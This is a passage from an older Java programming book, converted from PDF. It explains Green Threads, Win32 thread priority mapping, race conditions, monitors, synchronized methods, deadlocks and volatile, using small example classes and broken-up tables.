Chapter 6 -- Effective Use of Threads

Figure 6.9 : Green Threads Architecture. Because Green Threads manages its own thread context switching, it must prevent a single thread from performing operations that will prevent the other threads from executing, such as IO or other system calls. Green Threads, as implemented on Solaris, provide replacements for many system calls. Rather than calling the Solaris write() function code, running in a Green Threads thread calls a special wrapper for the system write(). This wrapper turns a potentially blocking system call into an asynchronous system call. Green Threads then blocks the thread. To the thread it simply calls write() and blocks waiting for the completion; however, what really happens is Green Threads arranges for the OS to signal it when the IO is complete. Until that signal comes in, Green Threads is free to schedule another thread for service. When the signal comes in, indicating an outstanding IO needs attention, Green Threads will determine which IO needs completion and handle the IO. The waiting thread then becomes runnable. Note Under Green Threads (that is, Java on Solaris), if a native method performs a blocking operation, the entire Java application will block. Writers of native methods under a Green Threads implementation should arrange for asynchronous IO, such as that provided by the Green Threads package.

Recall that the Green Threads package totally manages its own threads. On a system such as Solaris, it essentially utilizes only one LWP at a time; thus, it won't take advantage of multiple processes. Recall also that Green Threads will perform thread context switches when that thread blocks for some reason, such as IO, waiting, sleeping, or a yield. A context switch will also be performed when a higher-priority thread becomes runnable. Green Threads accomplishes this management task by utilizing two features-signals and a super-high priority thread. By using signals, the Green Threads manager can be notified of system events, such as IO completions and timer ticks. It uses this signal handling time to gain control and manage the other threads. The clock handler thread is a special thread installed by the Green Threads package. It runs at a priority of 11, which places it above the maximum priority Java allows (Thread.MAX_PRIORITY). When in a debugger, you can see this thread running in the system threadgroup. This thread is, other than for its priority, a normal green thread. It spends most of its time blocked and is signaled by the expired alarm when it needs to perform some duty. The high priority enables it to gain control by preempting any current thread. The duty the clock handler performs is to notify other threads of expired timeouts, such as during a sleep() or a timed wait. Thus, the other threads can then be placed back on the runnable queue and can preempt a running lower-priority thread.

Win32
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (28 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

A Sun JDK Java implementation on Win32 platforms makes use of the native threads provided by the operating system. There is much information on this in the Microsoft development kit help files. The threads in both Windows 95 and Windows NT are kernel-level resources, and a Java Thread directly maps onto a Win32 thread. Internally, the mapping is straightforward. The JDK uses the Microsoft C Runtime _beginthreadx() function to launch the thread. The mapping of Java priorities to Win32 priorities is shown in Table 6.1. Table 6.1. Java-to-Win32 priority mapping. Java Priorities Win32 Priorities 1,2 3 4,5,6 7 8,9 10 THREAD_PRIORITY_LOWEST THREAD_PRIORITY_BELOW_NORMAL THREAD_PRIORITY_NORMAL THREAD_PRIORITY_ABOVE_NORMAL THREAD_PRIORITY_HIGHEST THREAD_PRIORITY_TIME_CRITICAL

The Win32 priorities are set by a call to SetThreadPriority(). This changes the thread priority level. Remember, the Java process runs at the Win32 NORMAL_PRIORITY CLASS-Java will not change the priority class (you would need to write a native method to do so). By setting the Java priority you can effectively change the Win32 threads base priority level, and thus influence the Win32 dynamic priority. In general, the Java priority of MAX_THREAD (i.e. 10 or in Win32 THREAD_PRIORITY_TIME_CRITICAL) level should be avoided, because you risk placing your thread at a higher priority than several kernel-level threads. The mapping Java provides allows for an application to greatly control its threads priorities, much like any Win32 application. Java monitors make use of Win32 Mutex objects. The Java wait(), notify(), and notifyAll() method calls are implemented with condition variables, which Win32 does not have, but which are simulated via a combination of Win32 Event and Mutex objects.

Summary
As you develop applications in Java you will often discover situations where the use of threads can be beneficial. With a proper understanding of how threads work and a realistic expectation of what threads have to offer, a developer can effectively use threads. This chapter introduces you to the basics of Java threads; you should now be ready to use threads effectively and to tackle the following two chapters.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (29 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (30 of 30) [8/16/02 8:36:30 AM]

Chapter 7 -- Concurrency and Synchronization

Chapter 7
Concurrency and Synchronization

CONTENTS
G G G G G G G

Concurrency Monitors Advanced Monitor Concepts Synchronization A Thread Coordination Example Advanced Thread Coordination Summary

Before reading this chapter, you should be familiar with how to program using Java threads-how to implement Runnable and subclass Thread, how to start and stop threads, and how to wait for a thread to end. If you need an introduction to Java threads, take time now to read through Chapter 6, "Effective Use of Threads." When you begin exploring Java's multithreading capabilities, you will discover that there is more to learn about concurrency than knowing how to use the Thread class API. Some of the questions you might encounter include:
G G G G

How do I make my classes thread-safe? What is a Java monitor, and how do I use it? How can I coordinate my threads? How can I put a thread to sleep and wake it up again when an event happens in another thread?

This chapter takes a detailed look at concurrent programming in Java. It covers the essential information you need in order to write thread-safe classes: why thread-safety is an issue and how to use the synchronized keyword to enforce one-at-a-time access to an object. The chapter then elaborates on monitors, the concept behind Java's implementation of concurrent programming. This is followed up with a section on how to use monitors to coordinate the activities of your threads. As the theme of this book implies, special tips, techniques and pitfalls are discussed throughout this chapter.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (1 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization

Note Concurrent programming is at first an unfamiliar concept for most Java programmers, a concept that requires a period of adjustment. The transition from nonconcurrent programming to concurrent programming is similar in many ways to the transition from writing procedural programs to writing object-oriented programs: difficult, frustrating at times, but in the end rewarding. If at first you do not understand the material in this chapter, give the material time to sink in-try running the examples on your own computer.

Concurrency
One of the most powerful features of the Java programming language is the ability to run multiple threads of control. Performing multiple tasks at the same time seems natural from the human perspectivefor example, simultaneously downloading a file from the Internet, performing a spreadsheet recalculation, or printing a document. From a programmer's point of view, however, managing concurrency is not as natural as it seems. Concurrency requires the programmer to take special precautions to ensure that Java objects are accessed in a thread-safe manner. "What is unsafe about running multiple threads?" There is nothing obvious about threads that makes threaded programs unsafe; nevertheless, threaded programs can be subject to hazardous situations unless you take appropriate measures to make them safe. The following is an example of how a threaded program may be unsafe: public class Counter { private int count = 0; public int incr() { int n = count; count = n + 1; return n; } } As Java classes go, the Counter class is simple, having only one attribute and one method. As its name implies, the Counter class is used to count things, such as the number of times a button is pressed or the number of times the user visits a particular Web site. The incr() method is the heart of the class, returning and incrementing the current value of the counter. However, The incr() method has a problem; it is a potential source of unpredictable behavior in a multithreaded environment.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (2 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization

Consider a situation in which a Java program has two runnable threads, both of which are about to execute this line of code (affecting the same Counter object): int cnt = counter.incr(); The programmer is not able to predict nor control the order in which these two threads are run. The operating system (or Java virtual machine) has full authority over thread scheduling. Consequently, there are no guarantees about which thread will receive CPU time, when the threads will execute, or how long each thread will be allowed to execute. Either thread may be interrupted by a context switch to a different thread at any time. Alternately, both threads may run concurrently on separate processors of a multiprocessor machine. Table 7.1 describes one possible sequence of execution of the two threads. In this scenario, the first thread is allowed to run until it completes its call to counter.incr(); then the second thread does the same. There are no surprises in this scenario. The first thread increments the Counter value to 1, and the second thread increments the value to 2. Table 7.1. Counter Scenario One. Thread 1 cnt = counter.incr(); n = count; return n; --------// 0 // 0 n = count; count = n + 1; return n; count = n + 1; // 1 Thread 2 --------cnt = counter.incr(); // 1 // 2 // 1 Count 0 0 1 1 1 1 2 2

Table 7.2 describes a somewhat different sequence of execution. In this case, the first thread is interrupted by a context switch during execution of the incr() method. The first thread remains temporarily suspended, and the second thread is allowed to proceed. The second thread executes its call to the incr() method, incrementing the Counter value to 1. When the first thread resumes, a problem becomes evident. The Counter's value is not updated to the value 2, as you would expect, but is instead set again to the value 1. Table 7.2. Counter Scenario Two.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (3 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization

Thread 1 cnt = counter.incr(); n = count; --------count = n + 1; // 1 return n; // 0 // 0

Thread 2 ----cnt = counter.incr(); n = count; count = n + 1; return n; ----// 0 // 1 // 0

Count 0 0 0 0 1 1 1 1

By examining Thread 1 in Table 7.2, you will see an interesting sequence of operations. Upon entering the incr() method, the value of the count attribute (0) is stored in a local variable, n. The thread is then suspended for a period of time while a different thread executes. (It is important to note that the count attribute is modified by the second thread during this time.) When Thread 1 resumes, it stores the value n + 1 (1) back to the count attribute. Unfortunately, this is no longer a correct value for the counter, as the counter was already incremented to 1 by Thread 2. The problem outlined by the scenario in Table 7.2 is called a race condition-the outcome of the program was affected by the order in which the program's threads were allocated CPU time. It is usually considered inappropriate to allow race conditions to affect the results of a program. Consider a medical device that monitors a patient's blood pressure. If this device were affected by race conditions in its software, it might report an incorrect reading to the physician. The physician would be basing medical decisions on incorrect patient information-a bad situation for the patient, doctor, insurance company, and software vendor! All multithreaded programs, even Java programs, can suffer from race conditions. Fortunately, Java provides the programmer with the necessary tools to manage concurrency-monitors.

Monitors
Many texts on computer science and operating systems deal with the issue of concurrent programming. Concurrency has been the subject of much research over the years, and many concurrency control solutions have been proposed and implemented. These solutions include:
G G G G

Critical sections Semaphores Mutexes Database record locking

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (4 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization


G

Monitors

Java implements a variant of the monitor approach to concurrency. The concept of a monitor was introduced by C.A.R. Hoare in a 1974 paper published in the Communications of the ACM. Hoare described a special-purpose object, called a monitor, which applies the principle of mutual exclusion to groups of procedures (mutual exclusion is a fancy way of saying "one thread at a time"). In Hoare's model, each group of procedures requiring mutual exclusion is placed under the control of a monitor. At runtime, the monitor allows only one thread at a time to execute a procedure controlled by the monitor. If another thread tries to call a procedure controlled by the monitor, that thread is suspended until the first thread completes its call. Java monitors remain true to Hoare's original concepts, with a few minor variations (which will not be discussed here). Monitors in Java enforce mutually exclusive access to methods, or more specifically, mutually exclusive access to synchronized methods. When a Java synchronized method is invoked, a complicated process begins. First, the virtual machine locates the monitor associated with the object on which the method is being invoked (for example, if you are calling obj.method(), the VM finds obj's monitor). Every Java object can have an associated monitor, although for performance reasons, the 1.0 VM creates and caches monitors only when necessary. Once the monitor is located, the VM attempts to assign ownership of the monitor to the thread invoking the synchronized method. If the monitor is unowned, ownership is assigned to the calling thread, which is then allowed to proceed with the method call. However, if the monitor is already owned by another thread, the monitor cannot be assigned to the calling thread. The calling thread will be put on hold until the monitor becomes available. When assignment of the monitor becomes possible, the calling thread is assigned ownership and will then proceed with the method call. Metaphorically, a Java monitor acts as an object's gatekeeper. When a synchronized method is called, the gatekeeper allows the calling thread to pass and then closes the gate. While the thread is still in the synchronized method, subsequent synchronized method calls on that object from other threads are blocked. Those threads line up outside the gate, waiting for the first thread to leave. When the first thread exits the synchronized method, the gatekeeper opens the gate, allowing a single waiting thread to proceed with its synchronized method call. The process repeats. In plain English, a Java monitor enforces a one-at-a-time approach to concurrency. This is also known as serialization (not to be confused with "object serialization", the Java library for reading and writing objects on a stream). Note

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (5 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization

Programmers already familiar with multithreaded programming in a different language often confuse monitors with critical sections. Java monitors are not like traditional critical sections. Declaring a method synchronized does not imply that only one thread may execute that method at a time, as would be the case with a critical section. It implies that only one thread may invoke that method (or any synchronized method) on a particular object at any given time. Java monitors are associated with objects, not with blocks of code. Two threads may concurrently execute the same synchronized method, provided that the method is invoked on different objects (that is, a.method() and b.method(), where a != b).

To demonstrate how monitors operate, let's rewrite the Counter example to take advantage of monitors, using the synchronized keyword: public class Counter2 { private int count = 0; public synchronized int incr() { int n = count; count = n + 1; return n; } } Note that the incr() method has not been rewritten-the method is identical to its previous listing of the Counter class, except that the incr() method has been declared synchronized. What would happen if this new Counter2 class were used in the scenario presented in Table 7.2 (the race condition)? The outcome of the same sequence of context switches would not be the same-having a synchronized method prevents the race condition. The revised scenario is listed in Table 7.3. Table 7.3. Counter Scenario Two, revised. Thread 1 cnt = counter.incr(); (acquires the monitor) n = count; --// 0 Thread 2 ------cnt = counter.incr(); Count 0 0 0 0

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (6 of 31) [8/16/02 8:36:41 AM]

Chapter 7 -- Concurrency and Synchronization

--count = n + 1; // 1 return n; ----------// 0 (releases the monitor)

(can't acquire monitor) ---(blocked) ---(blocked) ---(blocked) (acquires the monitor) n = count; count = n + 1; return n; // 1 // 2 // 1

0 1 1 1 1 1 2 2 2

(releases the monitor)

In Table 7.3, the sequence of operations begins the same as the earlier scenario. Thread 1 starts executing the incr() method of the Counter2 object, but it is interrupted by a context switch. In this example, however, when Thread 2 attempts to execute the incr() method on the same Counter2 object, the thread is blocked. Thread 2 is unable to acquire ownership of the counter object's monitor; the monitor is already owned by Thread 1. Thread 2 is suspended until the monitor becomes available. When Thread 1 releases the monitor, Thread 2 is able to acquire the monitor and continue running, completing its call to the method. The synchronized keyword is Java's single solution to the concurrency control problem. As you saw in the Counter example, the potential race condition was eliminated by adding the synchronized modifier to the incr() method. All accesses to the incr() method of a counter were serialized by the addition of the synchronized keyword. Generally speaking, the synchronized modifier should be applied to any method that modifies an object's attributes. It would be a very difficult task to examine a class's methods by visually scanning for thread-safety problems. It is much easier to mark all objectmodifying methods as synchronized and be done with it. Note You might be wondering when you will see an actual monitor object. Anecdotal information has been presented about monitors, but you probably want to see some official documentation about what a monitor is and how you access it. Unfortunately, that is not possible. Java monitors have no official standing in the language specification, and their implementation is not directly visible to the programmer. Monitors are not Java objects-they have no attributes or methods. Monitors are a concept beneath Java's implementation of threading and concurrency. It may be possible to access a Java monitor at the native code level, but this is not recommended (and it is beyond the scope of this chapter).

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (7 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

Non-synchronized Methods
Java monitors are used only in conjunction with the synchronized keyword. Methods that are not declared synchronized do not attempt to acquire ownership of an object's monitor before executingthey ignore monitors entirely. At any given moment, one thread (at most) may be executing a synchronized method on an object, but an arbitrary number of threads may be executing nonsynchronized methods. This can lead to some surprising situations if you are not careful in deciding which methods need to be synchronized. Consider the following Account class: class Account { private int balance; public Account(int balance) { this.balance = balance; } public synchronized void transfer(int amount, Account destination) { this.withdraw(amount); Thread.yield(); // force a context switch destination.deposit(amount); } public synchronized void withdraw(int amount) { if (amount > balance) { throw new RuntimeException("No overdraft protection!"); } balance -= amount; } public synchronized void deposit(int amount) { balance += amount; } public int getBalance() { return balance; } } The attribute-modifying methods of the Account class are declared synchronized. It appears that this class has no problem with race conditions, but it does!
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (8 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

To understand the race condition the Account class is subject to, consider how a bank deals with accounts. To a bank, the correctness of its accounts is of the utmost importance-a bank that makes accounting errors or reports incorrect information would not have happy customers. In order to avoid reporting incorrect information, a bank would likely disable "inquiries" on an account while a transaction involving the account is in progress. This prevents the customer from viewing a partially complete transaction. The Account class getBalance() method is not synchronized, and this can lead to some problems. Consider two Account objects, and two different threads are performing actions on these accounts. One thread is performing a balance transfer from one account to the other. The second thread is performing a balance inquiry. This code demonstrates the suggested activity: public class XferTest implements Runnable { public static void main(String[] args) { XferTest xfer = new XferTest(); xfer.a = new Account(100); xfer.b = new Account(100); xfer.amount = 50; Thread t = new Thread(xfer); t.start(); Thread.yield(); // force a context switch

System.out.println("Inquiry: Account a has : $" + xfer.a.getBalance()); System.out.println("Inquiry: Account b has : $" + xfer.b.getBalance()); } public Account a = null; public Account b = null; public int amount = 0; public void run() { System.out.println("Before xfer: a has : $" + a.getBalance()); System.out.println("Before xfer: b has : $" + b.getBalance()); a.transfer(amount, b); System.out.println("After xfer: a has : $" + a.getBalance()); System.out.println("After xfer: b has : $" +
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (9 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

b.getBalance()); } } In this example, two Accounts are created, each with a $100 balance. A transfer is then initiated to move $50 from one account to the other. The "transfer" is not an operation that should affect the total balance of the two accounts; that is, the sum of the balance of the two accounts should remain constant at $200. If the balance inquiry is performed at just the right time, however, it is possible that the total amount of funds in these accounts could be reported incorrectly. For example, if this program is run using the 1.0 Java Development Kit (JDK) for Solaris, the following output is printed: Before xfer: a has : $100 Before xfer: b has : $100 Inquiry: Account a has : $50 Inquiry: Account b has : $100 After xfer: a has : $50 After xfer: b has : $150 The Inquiry reports that the first account contains $50 and the second account contains $100. That's not $200! What happened to the other $50? Nothing has "happened" to the money, except that it is in the process of being transferred to the second account when the balance inquiry scans the accounts. The getBalance() method is not synchronized, so there is no problem executing this method on accounts that are involved in the balance transfer. This could leave some customer wondering why the accounts are $50 short. If the getBalance() method is declared synchronized, the application has a different result. The balance inquiry is blocked until the balance transfer is complete. Here is the modified program's output: Before xfer: a has : $100 Before xfer: b has : $100 Inquiry: Account a has : $50 Inquiry: Account b has : $150 After xfer: a has : $50 After xfer: b has : $150

Advanced Monitor Concepts


Monitors sound pretty simple. You add the synchronized modifier to your methods, and that's all there is to it? Well, not quite. Monitors themselves may be simple, but taken together with the rest of the programming environment, there are many issues you should understand in order to use monitors optimally. This section is dedicated to presenting those tips and techniques you must master to become
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (10 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

expert in concurrent Java programming.

static synchronized Methods


Methods that are declared synchronized will attempt to acquire ownership of the target object's monitor. But what about methods that do not have an associated instance (static methods)? The language specification is fairly clear, if brief, about static synchronized methods. When a static synchronized method is called, the monitor acquired is said to be a per-class monitor-that is, there is one monitor for each class that regulates access to all static methods of that class. Only one static synchronized method in a class may be active at a given moment. The 1.0 Java virtual machine takes this a step further. The monitor used to regulate access to a class's static synchronized methods is the same monitor that is associated with the java.lang.Class instance of that class. Run the following test to demonstrate this behavior: public class ClassMonitorTest implements Runnable { public static void main(String[] args) { new Thread(new ClassMonitorTest()).start(); static_method(); } public void run() { synchronized(getClass()) { System.out.println("in run()"); try { Thread.sleep(5000); } catch (InterruptedException e) { } } } public static synchronized void static_method() { System.out.println("in static_method()"); try { Thread.sleep(5000); } catch (InterruptedException e) { } } } When running this application under Solaris or Win32, you will clearly see that "in static_method()" is printed on the terminal, and then there is about a five-second pause. Then "in run()" is displayed. The monitor used for the static synchronized method is the same monitor associated with the Class object. Whether this behavior can be relied on for future implementations of the JVM is unknown. What is certain, however, is that two static synchronized methods defined

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (11 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

in the same class will both refer to and compete for the same monitor.

Recursive Calls to synchronized Methods


What happens if a synchronized method calls itself recursively? Or if a synchronized method calls another synchronized method on the same object? A programmer not intimately familiar with Java monitors might assume that this would be a fatal situation, because a synchronized method "can be entered only once." However, this is not the case. The behavior of a monitor, expressed earlier in this chapter, can be stated again as follows: to enter a synchronized method, the thread must first acquire ownership of the target object's monitor. If a thread is recursively calling a synchronized method, it already owns the monitor (because it is in the middle of executing a synchronized method). When the virtual machine tries to assign ownership of the monitor, it finds that the thread already owns the monitor and immediately allows that thread to proceed. Note A consequence of "recursive synchronized method call" is that it forces the virtual machine to count the number of times a thread has entered a particular monitor. Each time the thread enters the synchronized method, a counter within the monitor is incremented. Each time the thread leaves a synchronized method, the counter is decremented. Only when the counter reaches zero is the monitor released!

Monitor Competition
A competitive situation arises when two or more threads are blocked, waiting to acquire the same monitor. Suppose a thread owns an object's monitor (it is executing a synchronized method on that object). If another thread attempts to call a synchronized method on that object, that thread will be suspended, pending the release of the monitor. If yet another thread attempts to call a synchronized method on the object, it will also be suspended. When the monitor becomes available, there are two threads waiting to acquire it. When two or more threads are waiting to acquire the same monitor, the virtual machine must choose exactly one of the threads and assign ownership of the monitor to that thread. There are no guarantees about how the VM will make this decision. The language specification states only that one thread will acquire the monitor, but it does not specify how the VM will make the decision. In the Solaris 1.0 virtual machine, the decision is based on thread priority (first come, first serve when the priorities are equal).

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (12 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

Monitor ownership is assigned to the higher priority thread. However, the Win32 1.0 virtual machine uses the Win32 thread scheduling algorithms. In the 1.0 virtual machine, it is not possible to specify an order for assigning ownership of a monitor when multiple threads are waiting. You should avoid writing code that depends on this kind of ordering.

The synchronized Statement


It is not possible to use synchronized methods on some types of objects. Java arrays, for instance, can declare no methods at all, much less synchronized methods. To get around this restriction, Java has a second syntactic convention that enables you to interact with an object's monitor. The synchronized statement is defined to have the following syntax: synchronized ( Expression ) Statement Executing a synchronized statement has the same effect as calling a synchronized method-a monitor's ownership will be acquired before the block of code is executed. In the case of a synchronized statement, the object whose monitor is up for grabs is the object resulting from Expression (which must be an object type, not an elemental type). One of the most important uses of the synchronized statement involves serializing access to array objects. The following example demonstrates how to use the synchronized statement to provide thread-safe access to an array: void safe_lshift(byte[] array, int count) { synchronized(array) { System.arraycopy(array, count, array, 0, array.size - count); } } Prior to modifying the array in this example, the virtual machine assigns ownership of array's monitor to the executing thread. Other threads trying to acquire array's monitor will be forced to wait until the array copy has been completed. Of course, accesses to the array that are not guarded by a synchronized statement will not be blocked, so be careful. The synchronized statement is also useful when modifying an object without going through synchronized methods. This situation can arise if you modify an object's public attributes or call a method that is not declared synchronized (but should be). Here's an example: void call_method(SomeClass obj) {

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (13 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

synchronized(obj) { obj.method_that_should_be_synchronized_but_isnt(); } } Note The synchronized statement makes it possible to use monitors with all Java objects. However, code may be confusing if the synchronized statement is used where a synchronized method would have sufficed. Adding the synchronized modifier at the method level broadcasts exactly what happens when the method is called.

Monitors and Exceptions


Exceptions create a special problem for monitors. The Java virtual machine must handle monitors very carefully in the presence of exceptions. Consider the following code: public synchronized void foo() throws Exception { ... throw new Exception(); .... } While inside the method, the thread executing foo() owns the monitor (which should be released when the method exits normally). If foo()ONT> exits because an exception is thrown, what happens to the monitor? Is the monitor released, or does the abnormal exit of this method cause the monitor ownership to be retained? The Java virtual machine has the responsibility of unwinding the thread's stack as it passes an exception up the stack. Unwinding the stack involves cleanup at each stack frame, to include releasing any monitors held in that stack frame. If you find a situation where this is not the case, please report that situation to Sun!

Monitors and public Attributes


There is debate within the Java community about the potential danger of declaring attributes to be public. When concurrency is considered, it becomes apparent that public attributes can lead to thread-unsafe code. Here's why: public attributes can be accessed by any thread without the benefit of

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (14 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

protection by a synchronized method. When you declare an attribute public, you are relinquishing control over updates to that attribute, and any programmer using your code has a license to access (and update) public attributes directly. Note Java programmers frequently define immutable symbolic constants as public final class attributes. Attributes declared this way do not have thread-safety issues (race conditions involve only objects whose value is not constant).

In general, it is not a good idea to declare (non-final) attributes to be public. Not only can it introduce thread-safety problems, but it can make your code difficult to modify and support as time goes by.

When Not to Be synchronized


By now, you should be able to write thread-safe code using the synchronized keyword. When should you really use synchronized? Are there situations when you should not use synchronized? Are there drawbacks to using synchronized? The most common reason developers don't use synchronized is that they write single-threaded, single-purpose code. For example, CPU-bound tasks do not benefit much from multithreading. A compiler does not perform much better if it is threaded. The Java compiler from Sun does not contain many synchronized methods. For the most part, it assumes that it is executing in its own thread of control, without having to share its resources with other threads. Another common reason for avoiding synchronized methods is that they do not perform as well as non-synchronized methods. In simple tests, synchronized methods have been shown to be three to four times slower than their non-synchronized counterparts (in the 1.0.1 JDK from Sun). This doesn't mean your entire application will be three or four times slower, but it is a performance issue none the less. Some programs demand that every ounce of performance be squeezed out of the runtime system. In this situation, it might be appropriate to avoid the performance overhead associated with synchronized methods. Although Java is currently not suitable for real-time software development, another possible reason to avoid using synchronized methods is to prevent nondeterministic blocking situations. If multiple threads compete for the same resource, one or more threads may be unable to execute for an excessive amount of time. Although this is acceptable for most types of applications, it is not acceptable for applications that must respond to events within real-time constraints.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (15 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

Deadlocks
Sometimes referred to as a deadly embrace, a deadlock is one of the worst situations that can happen in a multithreaded environment. Java programs are not immune to deadlocks, and programmers must take care to avoid them. A deadlock is a situation that causes two or more threads to hang, unable to proceed. In the simplest case, you have two threads, each trying to acquire a monitor already owned by the other thread. Each thread goes to sleep, waiting for the desired monitor to become available, but it will never become available. The first thread waits for the monitor owned by the second thread, and the second thread waits for the monitor owned by the first thread. Because each thread is waiting, each will never release its monitor to the other thread. This sample application should give you an understanding of how a deadlock happens: public class Deadlock implements Runnable { public static void main(String[] args) { Deadlock d1 = new Deadlock(); Deadlock d2 = new Deadlock(); Thread t1 = new Thread(d1); Thread t2 = new Thread(d2); d1.grabIt = d2; d2.grabIt = d1; t1.start(); t2.start(); try { t1.join(); t2.join(); } catch(InterruptedException e) { } System.exit(0); } Deadlock grabIt; public synchronized void run() { try { Thread.sleep(2000); } catch(InterruptedException e) { } grabIt.sync_method(); } public synchronized void sync_method() { try { Thread.sleep(2000); } catch(InterruptedException e) { } System.out.println("in sync_method"); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (16 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

} In this class, the main() method launches two threads, each of which invokes the synchronized run() method on a Deadlock object. When the first thread wakes up, it attempts to call the sync_method() of the other Deadlock object. Obviously, the Deadlock's monitor is owned by the second thread; so, the first thread begins waiting for the monitor. When the second thread wakes up, it tries to call the sync_method() of the first Deadlock object. Because that Deadlock's monitor is already owned by the first thread, the second thread begins waiting. The threads are waiting for each other, and neither will ever wake up. Note If you run the Deadlock application, you will notice that it never exits. That is understandable; after all, that is what a Deadlock is. How can you tell what is really going on inside the virtual machine? There is a trick you can use with the Solaris JDK to display the status of all threads and monitors: press Ctrl+\ in the terminal window where the Java application is running. This sends the virtual machine a signal to dump the state of the VM. Here is a partial listing of the monitor table dumped several seconds after launching Deadlock: Deadlock@EE300840/EE334C20 (key=0xee300840): monitor owner: "Thread-5" Waiting to enter: "Thread-4" Deadlock@EE300838/EE334C18 (key=0xee300838): monitor owner: "Thread4" Waiting to enter: "Thread-5"

There are numerous algorithms available for preventing and detecting deadlock situations, but those algorithms are beyond the scope of this chapter (many database and operating system texts cover deadlock detection algorithms in detail). Unfortunately, the Java virtual machine itself does not perform any deadlock detection or notification. There is nothing that would prevent the virtual machine from doing so, however, so this could be added to versions of the virtual machine in the future.

Using volatile
It is worth mentioning that the volatile keyword is supported as a variable modifier in Java. The
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (17 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

language specification states that the volatile qualifier instructs the compiler to generate loads and stores on each access to the attribute, rather than caching the value in a register. The intent of the volatile keyword is to provide thread-safe access to an attribute, but the virtual machine falls short of this goal. In the 1.0 JDK virtual machine, the volatile keyword is ignored. It is unclear whether volatile has been abandoned in favor of monitors and synchronized methods or whether the keyword was included solely for C and C++ compatibility. Regardless, volatile is useless-use synchronized methods rather than volatile.

Synchronization
After learning how synchronized methods are used to make Java programs thread-safe, you might wonder what the big deal is about monitors. They are just object locks, right? Not true! Monitors are more than locks; monitors also can be used to coordinate multiple threads by using the wait() and notify() methods available in every Java object.

The Need for Thread Coordination


What is thread coordination? In a Java program, threads are often interdependent-one thread may depend on another thread to complete an operation or to service a request. For example, a spreadsheet program may run an extensive recalculation as a separate thread. If a user-interface (UI) thread attempts to update the spreadsheet's display, the UI thread should coordinate with the recalculation thread, starting the screen update only when the recalculation thread has successfully completed. There are many other situations in which it is useful to coordinate two or more threads. The following list identifies only some of the possibilities:
G

Shared buffers are often used to communicate data between threads. In this scenario, there is usually one thread writing to a shared buffer (the writer) and one thread reading from the buffer (the reader). When the reader attempts to read from the buffer, it should coordinate with the writer thread, retrieving data from the shared buffer only after it has been put there by the writer thread. If the buffer is empty, the reader waits for the data (without continuously polling!). The writer notifies the reader thread when it has completed filling the buffer, so that the reader can continue. If an application must be very responsive to user input, but needs to perform an intensive numerical analysis occasionally, it is a good idea to run the numerical analysis in a separate lowpriority thread. Any higher-priority thread that needs to obtain the results of the analysis waits for the low-priority thread to complete; the low-priority thread should notify all interested threads when it is done. A thread could be constructed in such a way that it performs processing only in response to asynchronous events delivered by other threads. When no events are available, the waiting thread

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch7.htm (18 of 31) [8/16/02 8:36:42 AM]

Chapter 7 -- Concurrency and Synchronization

